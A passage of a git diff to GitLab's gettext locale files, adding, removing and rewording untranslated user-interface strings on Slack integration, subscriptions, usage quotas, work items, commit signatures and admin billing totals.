@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index 52689583d43..aadc260def6 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
